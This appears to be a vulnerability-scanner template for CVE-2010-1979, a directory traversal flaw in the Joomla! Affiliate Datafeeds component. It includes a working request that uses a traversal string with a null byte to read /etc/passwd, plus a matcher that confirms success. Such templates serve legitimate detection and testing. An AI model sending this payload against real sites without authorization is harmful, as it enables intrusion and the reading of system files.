id: CVE-2010-1979 info: name: Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion author: daffainfo severity: high description: A directory traversal vulnerability in the Affiliate Datafeeds (com_datafeeds) component build 880 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/12088 - https://www.cvedetails.com/cve/CVE-2010-1979 - http://web.archive.org/web/20140724185517/http://secunia.com/advisories/39360/ - http://www.exploit-db.com/exploits/12088 remediation: Upgrade to a supported version. classification: cve-id: CVE-2010-1979 tags: cve,cve2010,joomla,lfi requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_datafeeds&controller=../../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/02/17